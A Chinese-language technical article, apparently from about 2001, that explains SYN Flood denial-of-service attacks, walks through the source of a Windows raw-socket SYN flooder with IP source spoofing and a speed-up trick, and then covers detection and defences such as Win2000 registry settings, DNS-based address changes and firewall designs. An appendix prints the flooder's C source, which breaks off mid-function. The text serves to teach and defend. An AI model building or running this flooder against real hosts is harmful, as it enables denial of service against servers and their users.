(1)SYN Flood
第一部分 SYN Flood的基本原理
SYN Flood是當(dāng)前最流行的DoS(拒絕服務(wù)攻擊)與DDoS(分布式拒絕服務(wù)攻擊)的方式之一,這是一種利用TCP協(xié)議缺陷,發(fā)送大量偽造的TCP連接請(qǐng)求,從而使得被攻擊方資源耗盡(CPU滿負(fù)荷或內(nèi)存不足)的攻擊方式。要明白這種攻擊的基本原理,還是要從TCP連接建立的過程開始說起:大家都知道,TCP與UDP不同,它是基于連接的,也就是說:為了在服務(wù)端和客戶端之間傳送TCP數(shù)據(jù),必須先建立一個(gè)虛擬電路,也就是TCP連接,建立TCP連接的標(biāo)準(zhǔn)過程是這樣的:
首先,請(qǐng)求端(客戶端)發(fā)送一個(gè)包含SYN標(biāo)志的TCP報(bào)文,SYN即同步(Synchronize),同步報(bào)文會(huì)指明客戶端使用的端口以及TCP連接的初始序號(hào);
第二步,服務(wù)器在收到客戶端的SYN報(bào)文后,將返回一個(gè)SYN+ACK的報(bào)文,表示客戶端的請(qǐng)求被接受,同時(shí)TCP序號(hào)被加一,ACK即確認(rèn)(Acknowledgement)。
第三步,客戶端也返回一個(gè)確認(rèn)報(bào)文ACK給服務(wù)器端,同樣TCP序列號(hào)被加一,到此一個(gè)TCP連接完成。以上的連接過程在TCP協(xié)議中被稱為三次握手(Three-way Handshake)。問題就出在TCP連接的三次握手中,假設(shè)一個(gè)用戶向服務(wù)器發(fā)送了SYN報(bào)文后突然死機(jī)或掉線,那么服務(wù)器在發(fā)出SYN+ACK應(yīng)答報(bào)文后是無法收到客戶端的ACK報(bào)文的(第三次握手無法完成),這種情況下服務(wù)器端一般會(huì)重試(再次發(fā)送SYN+ACK給客戶端)并等待一段時(shí)間后丟棄這個(gè)未完成的連接,這段時(shí)間的長度我們稱為SYN Timeout,一般來說這個(gè)時(shí)間是分鐘的數(shù)量級(jí)(大約為30秒-2分鐘);一個(gè)用戶出現(xiàn)異常導(dǎo)致服務(wù)器的一個(gè)線程等待1分鐘并不是什么很大的問題,但如果有一個(gè)惡意的攻擊者大量模擬這種情況,服務(wù)器端將為了維護(hù)一個(gè)非常大的半連接列表而消耗非常多的資源----數(shù)以萬計(jì)的半連接,即使是簡單的保存并遍歷也會(huì)消耗非常多的CPU時(shí)間和內(nèi)存,何況還要不斷對(duì)這個(gè)列表中的IP進(jìn)行SYN+ACK的重試。實(shí)際上如果服務(wù)器的TCP/IP棧不夠強(qiáng)大,最后的結(jié)果往往是堆棧溢出崩潰---即使服務(wù)器端的系統(tǒng)足夠強(qiáng)大,服務(wù)器端也將忙于處理攻擊者偽造的TCP連接請(qǐng)求而無暇理睬客戶的正常請(qǐng)求(畢竟客戶端的正常請(qǐng)求比率非常之小),此時(shí)從正常客戶的角度看來,服務(wù)器失去響應(yīng),這種情況我們稱作:服務(wù)器端受到了SYN Flood攻擊(SYN洪水攻擊)。
從防御角度來說,有幾種簡單的解決方法:
第一種是縮短SYN Timeout時(shí)間,由于SYN Flood攻擊的效果取決于服務(wù)器上保持的SYN半連接數(shù),這個(gè)值=SYN攻擊的頻度 x SYN Timeout,所以通過縮短從接收到SYN報(bào)文到確定這個(gè)報(bào)文無效并丟棄改連接的時(shí)間,例如設(shè)置為20秒以下(過低的SYN Timeout設(shè)置可能會(huì)影響客戶的正常訪問),可以成倍的降低服務(wù)器的負(fù)荷。
第二種方法是設(shè)置SYN Cookie,就是給每一個(gè)請(qǐng)求連接的IP地址分配一個(gè)Cookie,如果短時(shí)間內(nèi)連續(xù)受到某個(gè)IP的重復(fù)SYN報(bào)文,就認(rèn)定是受到了攻擊,以后從這個(gè)IP地址來的包會(huì)被一概丟棄。
可是上述的兩種方法只能對(duì)付比較原始的SYN Flood攻擊,縮短SYN Timeout時(shí)間僅在對(duì)方攻擊頻度不高的情況下生效,SYN Cookie更依賴于對(duì)方使用真實(shí)的IP地址,如果攻擊者以數(shù)萬/秒的速度發(fā)送SYN報(bào)文,同時(shí)利用SOCK_RAW隨機(jī)改寫IP報(bào)文中的源地址,以上的方法將毫無用武之地。
第二部份 SYN Flooder源碼解讀
下面我們來分析SYN Flooder的程序?qū)崿F(xiàn)。首先,我們來看一下TCP報(bào)文的格式:
0 1 2 3 4 5 6
0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| IP首部 | TCP首部 | TCP數(shù)據(jù)段 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
圖一 TCP報(bào)文結(jié)構(gòu)
如上圖所示,一個(gè)TCP報(bào)文由三個(gè)部分構(gòu)成:20字節(jié)的IP首部、20字節(jié)的TCP首部與不定長的數(shù)據(jù)段,(實(shí)際操作時(shí)可能會(huì)有可選的IP選項(xiàng),這種情況下TCP首部向后順延)由于我們只是發(fā)送一個(gè)SYN信號(hào),并不傳遞任何數(shù)據(jù),所以TCP數(shù)據(jù)段為空。TCP首部的數(shù)據(jù)結(jié)構(gòu)為:
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 十六位源端口號(hào) | 十六位目標(biāo)端口號(hào) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 三十二位序列號(hào) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 三十二位確認(rèn)號(hào) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 四位 | |U|A|P|R|S|F| |
| 首部 |六位保留位 |R|C|S|S|Y|I| 十六位窗口大小 |
| 長度 | |G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 十六位校驗(yàn)和 | 十六位緊急指針 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 選項(xiàng)(若有) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 數(shù)據(jù)(若有) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
圖二 TCP首部結(jié)構(gòu)
根據(jù)TCP報(bào)文格式,我們定義一個(gè)結(jié)構(gòu)TCP_HEADER用來存放TCP首部:
typedef struct _tcphdr
{
USHORT th_sport; //16位源端口
USHORT th_dport; //16位目的端口
unsigned int th_seq; //32位序列號(hào)
unsigned int th_ack; //32位確認(rèn)號(hào)
unsigned char th_lenres; //4位首部長度+6位保留字中的4位
unsigned char th_flag; //2 位保留字+6位標(biāo)志位
USHORT th_win; //16位窗口大小
USHORT th_sum; //16位校驗(yàn)和
USHORT th_urp; //16位緊急數(shù)據(jù)偏移量
}TCP_HEADER;
通過以正確的數(shù)據(jù)填充這個(gè)結(jié)構(gòu)并將TCP_HEADER.th_flag賦值為2(二進(jìn)制的00000010)我們能制造一個(gè)SYN的TCP報(bào)文,通過大量發(fā)送這個(gè)報(bào)文可以實(shí)現(xiàn)SYN Flood的效果。但是為了進(jìn)行IP欺騙從而隱藏自己,也為了躲避服務(wù)器的SYN Cookie檢查,還需要直接對(duì)IP首部進(jìn)行操作:
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 版本 | 長度 | 八位服務(wù)類型 | 十六位總長度 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 十六位標(biāo)識(shí) | 標(biāo)志| 十三位片偏移 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 八位生存時(shí)間 | 八位協(xié)議 | 十六位首部校驗(yàn)和 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 三十二位源IP地址 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 三十二位目的IP地址 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 選項(xiàng)(若有) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 數(shù)據(jù) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
圖三 IP首部結(jié)構(gòu)
同樣定義一個(gè)IP_HEADER來存放IP首部
typedef struct _iphdr
{
unsigned char h_verlen; //4 位首部長度+4位IP版本號(hào)
unsigned char tos; //8位服務(wù)類型TOS
unsigned short total_len; //16位總長度(字節(jié))
unsigned short ident; //16 位標(biāo)識(shí)
unsigned short frag_and_flags; //3位標(biāo)志位
unsigned char ttl; //8 位生存時(shí)間 TTL
unsigned char proto; //8位協(xié)議號(hào)(TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校驗(yàn)和
unsigned int sourceIP; //32 位源IP地址
unsigned int destIP; //32位目的IP地址
}IP_HEADER;
然后通過SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED));建立一個(gè)原始套接口,由于我們的IP源地址是偽造的,所以不能指望系統(tǒng)幫我們計(jì)算IP校驗(yàn)和,我們得在在setsockopt中設(shè)置IP_HDRINCL告訴系統(tǒng)自己填充IP首部并自己計(jì)算校驗(yàn)和:
flag=TRUE;
setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
IP校驗(yàn)和的計(jì)算方法是:首先將IP首部的校驗(yàn)和字段設(shè)為0(IP_HEADER.checksum=0),然后計(jì)算整個(gè)IP首部(包括選項(xiàng))的二進(jìn)制反碼的和,一個(gè)標(biāo)準(zhǔn)的校驗(yàn)和函數(shù)如下所示:
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1) {
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size ) cksum += *(UCHAR*)buffer;
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
這個(gè)函數(shù)并沒有經(jīng)過任何的優(yōu)化,由于校驗(yàn)和函數(shù)是TCP/IP協(xié)議中被調(diào)用最多函數(shù)之一,所以一般說來,在實(shí)現(xiàn)TCP/IP棧時(shí),會(huì)根據(jù)操作系統(tǒng)對(duì)校驗(yàn)和函數(shù)進(jìn)行優(yōu)化。TCP首部檢驗(yàn)和與IP首部校驗(yàn)和的計(jì)算方法相同,在程序中使用同一個(gè)函數(shù)來計(jì)算。需要注意的是,由于TCP首部中不包含源地址與目標(biāo)地址等信息,為了保證TCP校驗(yàn)的有效性,在進(jìn)行TCP校驗(yàn)和的計(jì)算時(shí),需要增加一個(gè)TCP偽首部的校驗(yàn)和,定義如下:
struct
{
unsigned long saddr; //源地址
unsigned long daddr; //目的地址
char mbz; // 置空
char ptcl; //協(xié)議類型
unsigned short tcpl; //TCP長度
}psd_header;
然后我們將這兩個(gè)字段復(fù)制到同一個(gè)緩沖區(qū)SendBuf中并計(jì)算TCP校驗(yàn)和:
memcpy(SendBuf,&psd_header,sizeof(psd_header));
memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));
計(jì)算IP校驗(yàn)和的時(shí)候不需要包括TCP偽首部:
memcpy(SendBuf,&ip_header,sizeof(ip_header));
memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
ip_header.checksum=checksum((USHORT *)SendBuf, sizeof(ip_header)+sizeof(tcp_header));
再將計(jì)算過校驗(yàn)和的IP首部與TCP首部復(fù)制到同一個(gè)緩沖區(qū)中就可以直接發(fā)送了:
memcpy(SendBuf,&ip_header,sizeof(ip_header));
sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*) &DestAddr,sizeof(DestAddr));
因?yàn)檎麄€(gè)TCP報(bào)文中的所有部分都是我們自己寫入的(操作系統(tǒng)不會(huì)做任何干涉),所以我們可以在IP首部中放置隨機(jī)的源IP地址,如果偽造的源IP地址確實(shí)有人使用,他在接收到服務(wù)器的SYN+ACK報(bào)文后會(huì)發(fā)送一個(gè)RST報(bào)文(標(biāo)志位為00000100),通知服務(wù)器端不需要等待一個(gè)無效的連接,可是如果這個(gè)偽造IP并沒有綁定在任何的主機(jī)上,不會(huì)有任何設(shè)備去通知主機(jī)該連接是無效的(這正是TCP協(xié)議的缺陷),主機(jī)將不斷重試直到SYN Timeout時(shí)間后才能丟棄這個(gè)無效的半連接。所以當(dāng)攻擊者使用主機(jī)分布很稀疏的IP地址段進(jìn)行偽裝IP的SYN Flood攻擊時(shí),服務(wù)器主機(jī)承受的負(fù)荷會(huì)相當(dāng)?shù)母撸鶕?jù)測試,一臺(tái)PIII 550MHz+128MB+100Mbps的機(jī)器使用經(jīng)過初步優(yōu)化的SYN Flooder程序可以以16,000包/秒的速度發(fā)送TCP SYN報(bào)文,這樣的攻擊力已經(jīng)足以拖垮大部分WEB服務(wù)器了。稍微動(dòng)動(dòng)腦筋我們就會(huì)發(fā)現(xiàn),想對(duì)SYN Flooder程序進(jìn)行優(yōu)化是很簡單的,從程序構(gòu)架來看,攻擊時(shí)循環(huán)內(nèi)的代碼主要是進(jìn)行校驗(yàn)和計(jì)算與緩沖區(qū)的填充,一般的思路是提高校驗(yàn)和計(jì)算的速度,我甚至見過用匯編代碼編寫的校驗(yàn)和函數(shù),實(shí)際上,有另外一個(gè)變通的方法可以輕松實(shí)現(xiàn)優(yōu)化而又不需要高深的編程技巧和數(shù)學(xué)知識(shí),(老實(shí)說吧,我數(shù)學(xué)比較差:P),我們仔細(xì)研究了兩個(gè)不同源地址的TCP SYN報(bào)文后發(fā)現(xiàn),兩個(gè)報(bào)文的大部分字段相同(比如目的地址、協(xié)議等等),只有源地址和校驗(yàn)和不同(如果為了隱蔽,源端口也可以有變化,但是并不影響我們算法優(yōu)化的思路),如果我們事先計(jì)算好大量的源地址與校驗(yàn)和的對(duì)應(yīng)關(guān)系表(如果其他的字段有變化也可以加入這個(gè)表),等計(jì)算完畢了攻擊程序就只需要單純的組合緩沖區(qū)并發(fā)送(用指針來直接操作緩沖區(qū)的特定位置,從事先計(jì)算好的對(duì)應(yīng)關(guān)系表中讀出數(shù)據(jù),替換緩沖區(qū)相應(yīng)字段),這種簡單的工作完全取決于系統(tǒng)發(fā)送 IP包的速度,與程序的效率沒有任何關(guān)系,這樣,即使是CPU主頻較低的主機(jī)也能快速的發(fā)送大量TCP SYN攻擊包。如果考慮到緩沖區(qū)拼接的時(shí)間,甚至可以定義一個(gè)很大的緩沖區(qū)數(shù)組,填充完畢后再發(fā)送(雛鷹給這種方法想了一個(gè)很貼切的比喻:火箭炮裝彈雖然很慢,但是一旦炮彈上膛了以后就可以連續(xù)猛烈地發(fā)射了:)。
第三部分 SYN Flood攻擊的監(jiān)測與防御初探
對(duì)于SYN Flood攻擊,目前尚沒有很好的監(jiān)測和防御方法,不過如果系統(tǒng)管理員熟悉攻擊方法和系統(tǒng)架構(gòu),通過一系列的設(shè)定,也能從一定程度上降低被攻擊系統(tǒng)的負(fù)荷,減輕負(fù)面的影響。(這正是我撰寫本文的主要目的)一般來說,如果一個(gè)系統(tǒng)(或主機(jī))負(fù)荷突然升高甚至失去響應(yīng),使用Netstat 命令能看到大量SYN_RCVD的半連接(數(shù)量>500或占總連接數(shù)的10%以上),可以認(rèn)定,這個(gè)系統(tǒng)(或主機(jī))遭到了SYN Flood攻擊。遭到SYN Flood攻擊后,首先要做的是取證,通過Netstat –n –p tcp >resault.txt記錄目前所有TCP連接狀態(tài)是必要的,如果有嗅探器,或者TcpDump之類的工具,記錄TCP SYN報(bào)文的所有細(xì)節(jié)也有助于以后追查和防御,需要記錄的字段有:源地址、IP首部中的標(biāo)識(shí)、TCP首部中的序列號(hào)、TTL值等,這些信息雖然很可能是攻擊者偽造的,但是用來分析攻擊者的心理狀態(tài)和攻擊程序也不無幫助。特別是TTL值,如果大量的攻擊包似乎來自不同的IP但是TTL值卻相同,我們往往能推斷出攻擊者與我們之間的路由器距離,至少也可以通過過濾特定TTL值的報(bào)文降低被攻擊系統(tǒng)的負(fù)荷(在這種情況下TTL值與攻擊報(bào)文不同的用戶就可以恢復(fù)正常訪問)前面曾經(jīng)提到可以通過縮短SYN Timeout時(shí)間和設(shè)置SYN Cookie來進(jìn)行SYN攻擊保護(hù),對(duì)于Win2000系統(tǒng),還可以通過修改注冊表降低SYN Flood的危害,在注冊表中作如下改動(dòng):
首先,打開regedit,找到HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters增加一個(gè)SynAttackProtect的鍵值,類型為REG_DWORD,取值范圍是0-2,這個(gè)值決定了系統(tǒng)受到SYN攻擊時(shí)采取的保護(hù)措施,包括減少系統(tǒng)SYN+ACK的重試的次數(shù)等,默認(rèn)值是0(沒有任何保護(hù)措施),推薦設(shè)置是2;增加一個(gè)TcpMaxHalfOpen的鍵值,類型為REG_DWORD,取值范圍是100-0xFFFF,這個(gè)值是系統(tǒng)允許同時(shí)打開的半連接,默認(rèn)情況下WIN2K PRO和SERVER是100,ADVANCED SERVER是500,這個(gè)值很難確定,取決于服務(wù)器TCP負(fù)荷的狀況和可能受到的攻擊強(qiáng)度,具體的值需要經(jīng)過試驗(yàn)才能決定。增加一個(gè)TcpMaxHalfOpenRetried的鍵值,類型為REG_DWORD,取值范圍是 80-0xFFFF,默認(rèn)情況下WIN2K PRO和SERVER是80,ADVANCED SERVER是400,這個(gè)值決定了在什么情況下系統(tǒng)會(huì)打開SYN攻擊保護(hù)。我們來分析一下Win2000的SYN攻擊保護(hù)機(jī)制:正常情況下,Win2K對(duì)TCP連接的三次握手有一個(gè)常規(guī)的設(shè)置,包括SYN Timeout時(shí)間、SYN-ACK的重試次數(shù)和SYN報(bào)文從路由器到系統(tǒng)再到Winsock的延時(shí)等,這個(gè)常規(guī)設(shè)置是針對(duì)系統(tǒng)性能進(jìn)行優(yōu)化的(安全和性能往往相互矛盾)所以可以給用戶提供方便快捷的服務(wù);一旦服務(wù)器受到攻擊,SYN半連接的數(shù)量超過TcpMaxHalfOpenRetried的設(shè)置,系統(tǒng)會(huì)認(rèn)為自己受到了SYN Flood攻擊,此時(shí)設(shè)置在SynAttackProtect鍵值中的選項(xiàng)開始作用,SYN Timeout時(shí)間被減短,SYN-ACK的重試次數(shù)減少,系統(tǒng)也會(huì)自動(dòng)對(duì)緩沖區(qū)中的報(bào)文進(jìn)行延時(shí),避免對(duì)TCP/IP堆棧造成過大的沖擊,力圖將攻擊危害減到最低;如果攻擊強(qiáng)度不斷增大,超過了TcpMaxHalfOpen值,此時(shí)系統(tǒng)已經(jīng)不能提供正常的服務(wù)了,更重要的是保證系統(tǒng)不會(huì)崩潰,所以系統(tǒng)將會(huì)丟棄任何超出TcpMaxHalfOpen值范圍的SYN報(bào)文(應(yīng)該是使用隨機(jī)丟包策略),保證系統(tǒng)的穩(wěn)定性。所以,對(duì)于需要進(jìn)行SYN攻擊保護(hù)的系統(tǒng),我們可以測試/預(yù)測一下訪問峰值時(shí)期的半連接打開量,以其作為參考設(shè)定TcpMaxHalfOpenRetried的值(保留一定的余量),然后再以TcpMaxHalfOpenRetried的1.25倍作為 TcpMaxHalfOpen值,這樣可以最大限度地發(fā)揮WIN2K自身的SYN攻擊保護(hù)機(jī)制。通過設(shè)置注冊表防御SYN Flood攻擊,采用的是“挨打”的策略,無論系統(tǒng)如何強(qiáng)大,始終不能光靠挨打支撐下去,除了挨打之外,“退讓”也是一種比較有效的方法。
退讓策略是基于SYN Flood攻擊代碼的一個(gè)缺陷,我們重新來分析一下SYN Flood攻擊者的流程:SYN Flood程序有兩種攻擊方式,基于IP的和基于域名的,前者是攻擊者自己進(jìn)行域名解析并將IP地址傳遞給攻擊程序,后者是攻擊程序自動(dòng)進(jìn)行域名解析,但是它們有一點(diǎn)是相同的,就是一旦攻擊開始,將不會(huì)再進(jìn)行域名解析,我們的切入點(diǎn)正是這里:假設(shè)一臺(tái)服務(wù)器在受到SYN Flood攻擊后迅速更換自己的IP地址,那么攻擊者仍在不斷攻擊的只是一個(gè)空的IP地址,并沒有任何主機(jī),而防御方只要將DNS解析更改到新的IP地址就能在很短的時(shí)間內(nèi)(取決于DNS的刷新時(shí)間)恢復(fù)用戶通過域名進(jìn)行的正常訪問。為了迷惑攻擊者,我們甚至可以放置一臺(tái)“犧牲”服務(wù)器讓攻擊者滿足于攻擊的“效果”(由于DNS緩沖的原因,只要攻擊者的瀏覽器不重起,他訪問的仍然是原先的IP地址)。
同樣的原因,在眾多的負(fù)載均衡架構(gòu)中,基于DNS解析的負(fù)載均衡本身就擁有對(duì)SYN Flood的免疫力,基于DNS解析的負(fù)載均衡能將用戶的請(qǐng)求分配到不同IP的服務(wù)器主機(jī)上,攻擊者攻擊的永遠(yuǎn)只是其中一臺(tái)服務(wù)器,雖然說攻擊者也能不斷去進(jìn)行DNS請(qǐng)求從而打破這種“退讓”策略,但是一來這樣增加了攻擊者的成本,二來過多的DNS請(qǐng)求可以幫助我們追查攻擊者的真正蹤跡(DNS請(qǐng)求不同于 SYN攻擊,是需要返回?cái)?shù)據(jù)的,所以很難進(jìn)行IP偽裝)。對(duì)于防火墻來說,防御SYN Flood攻擊的方法取決于防火墻工作的基本原理,一般說來,防火墻可以工作在TCP層之上或IP層之下,工作在TCP層之上的防火墻稱為網(wǎng)關(guān)型防火墻,網(wǎng)關(guān)型防火墻與服務(wù)器、客戶機(jī)之間的關(guān)系如下圖所示:
外部TCP連接 內(nèi)部TCP連接
[客戶機(jī)] =================>[防火墻] =================>[服務(wù)器]
如上圖所示,客戶機(jī)與服務(wù)器之間并沒有真正的TCP連接,客戶機(jī)與服務(wù)器之間的所有數(shù)據(jù)交換都是通過防火墻代理的,外部的DNS解析也同樣指向防火墻,所以如果網(wǎng)站被攻擊,真正受到攻擊的是防火墻,這種防火墻的優(yōu)點(diǎn)是穩(wěn)定性好,抗打擊能力強(qiáng),但是因?yàn)樗械腡CP報(bào)文都需要經(jīng)過防火墻轉(zhuǎn)發(fā),所以效率比較低由于客戶機(jī)并不直接與服務(wù)器建立連接,在TCP連接沒有完成時(shí)防火墻不會(huì)去向后臺(tái)的服務(wù)器建立新的 TCP連接,所以攻擊者無法越過防火墻直接攻擊后臺(tái)服務(wù)器,只要防火墻本身做的足夠強(qiáng)壯,這種架構(gòu)可以抵抗相當(dāng)強(qiáng)度的SYN Flood攻擊。但是由于防火墻實(shí)際建立的TCP連接數(shù)為用戶連接數(shù)的兩倍(防火墻兩端都需要建立TCP連接),同時(shí)又代理了所有的來自客戶端的TCP請(qǐng)求和數(shù)據(jù)傳送,在系統(tǒng)訪問量較大時(shí),防火墻自身的負(fù)荷會(huì)比較高,所以這種架構(gòu)并不能適用于大型網(wǎng)站。(我感覺,對(duì)于這樣的防火墻架構(gòu),使用 TCP_STATE攻擊估計(jì)會(huì)相當(dāng)有效:)
工作在IP層或IP層之下的防火墻(路由型防火墻)工作原理有所不同,它與服務(wù)器、客戶機(jī)的關(guān)系如下圖所示:
[防火墻] 數(shù)據(jù)包修改轉(zhuǎn)發(fā)
[客戶機(jī)]========|=======================>[服務(wù)器]
TCP連接
客戶機(jī)直接與服務(wù)器進(jìn)行TCP連接,防火墻起的是路由器的作用,它截獲所有通過的包并進(jìn)行過濾,通過過濾的包被轉(zhuǎn)發(fā)給服務(wù)器,外部的DNS解析也直接指向服務(wù)器,這種防火墻的優(yōu)點(diǎn)是效率高,可以適應(yīng)100Mbps-1Gbps的流量,但是這種防火墻如果配置不當(dāng),不僅可以讓攻擊者越過防火墻直接攻擊內(nèi)部服務(wù)器,甚至有可能放大攻擊的強(qiáng)度,導(dǎo)致整個(gè)系統(tǒng)崩潰。
在這兩種基本模型之外,有一種新的防火墻模型,我個(gè)人認(rèn)為還是比較巧妙的,它集中了兩種防火墻的優(yōu)勢,這種防火墻的工作原理如下所示:
第一階段,客戶機(jī)請(qǐng)求與防火墻建立連接:
SYN SYN+ACK ACK
[客戶機(jī)]---- >[防火墻] => [防火墻]-------- >[客戶機(jī)] => [客戶機(jī)]--- >[防火墻]
第二階段,防火墻偽裝成客戶機(jī)與后臺(tái)的服務(wù)器建立連接
[防火墻]< =========== >[服務(wù)器]
TCP連接
第三階段,之后所有從客戶機(jī)來的TCP報(bào)文防火墻都直接轉(zhuǎn)發(fā)給后臺(tái)的服務(wù)器防火墻轉(zhuǎn)發(fā)
[客戶機(jī)]< ======|======= >[服務(wù)器]
TCP連接
這種結(jié)構(gòu)吸取了上兩種防火墻的優(yōu)點(diǎn),既能完全控制所有的SYN報(bào)文,又不需要對(duì)所有的TCP數(shù)據(jù)報(bào)文進(jìn)行代理,是一種兩全其美的方法。
近來,國外和國內(nèi)的一些防火墻廠商開始研究帶寬控制技術(shù),如果能真正做到嚴(yán)格控制、分配帶寬,就能很大程度上防御絕大多數(shù)的拒絕服務(wù)攻擊,我們還是拭目以待吧。
附錄:Win2000下的SYN Flood程序
改編自Linux下Zakath編寫的SYN Flooder
編譯環(huán)境:VC++6.0,編譯時(shí)需要包含ws2_32.lib
//////////////////////////////////////////////////////////////////////////
// //
// SYN Flooder For Win2K by Shotgun //
// //
// THIS PROGRAM IS MODIFIED FROM A LINUX VERSION BY Zakath //
// THANX Lion Hook FOR PROGRAM OPTIMIZATION //
// //
// Released: [2001.4] //
// Author: [Shotgun] //
// Homepage: //
// [http://IT.Xici.Net] //
// [http://WWW.Patching.Net] //
// //
//////////////////////////////////////////////////////////////////////////
#include <winsock2.h>
#include <Ws2tcpip.h>
#include <stdio.h>
#include <stdlib.h>
#define SEQ 0x28376839
#define SYN_DEST_IP "192.168.15.250"http://被攻擊的IP
#define FAKE_IP "10.168.150.1" //偽裝IP的起始值,本程序的偽裝IP覆蓋一個(gè)B類網(wǎng)段
#define STATUS_FAILED 0xFFFF //錯(cuò)誤返回值
typedef struct _iphdr //定義IP首部
{
unsigned char h_verlen; //4 位首部長度,4位IP版本號(hào)
unsigned char tos; //8位服務(wù)類型TOS
unsigned short total_len; //16位總長度(字節(jié))
unsigned short ident; //16位標(biāo)識(shí)
unsigned short frag_and_flags; //3位標(biāo)志位
unsigned char ttl; //8 位生存時(shí)間 TTL
unsigned char proto; //8位協(xié)議 (TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校驗(yàn)和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IP_HEADER;
struct // 定義TCP偽首部
{
unsigned long saddr; //源地址
unsigned long daddr; //目的地址
char mbz;
char ptcl; //協(xié)議類型
unsigned short tcpl; //TCP長度
}psd_header;
typedef struct _tcphdr //定義TCP首部
{
USHORT th_sport; //16位源端口
USHORT th_dport; //16位目的端口
unsigned int th_seq; //32位序列號(hào)
unsigned int th_ack; //32位確認(rèn)號(hào)
unsigned char th_lenres; //4位首部長度/6位保留字
unsigned char th_flag; //6位標(biāo)志位
USHORT th_win; //16位窗口大小
USHORT th_sum; //16位校驗(yàn)和
USHORT th_urp; //16位緊急數(shù)據(jù)偏移量
}TCP_HEADER;
//CheckSum:計(jì)算校驗(yàn)和的子函數(shù)
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1) {
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size ) {
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
// SynFlood主函數(shù)
int main()
{
int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;
int TimeOut=2000,SendSEQ=0;
char SendBuf[128]={0};
char RecvBuf[65535]={0};
WSADATA wsaData;
SOCKET SockRaw=(SOCKET)NULL;
struct sockaddr_in DestAddr;
IP_HEADER ip_header;
TCP_HEADER tcp_header;
//初始化SOCK_RAW
if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){
fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode);
ExitProcess(STATUS_FAILED);
}
SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED));
if (SockRaw==INVALID_SOCKET){
fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());
ExitProcess(STATUS_FAILED);
}
flag=TRUE;
//設(shè)置IP_HDRINCL以自己填充IP首部
ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
If (ErrorCode==SOCKET_ERROR) printf("Set IP_HDRINCL Error!\n");
__try{
//設(shè)置發(fā)送超時(shí)
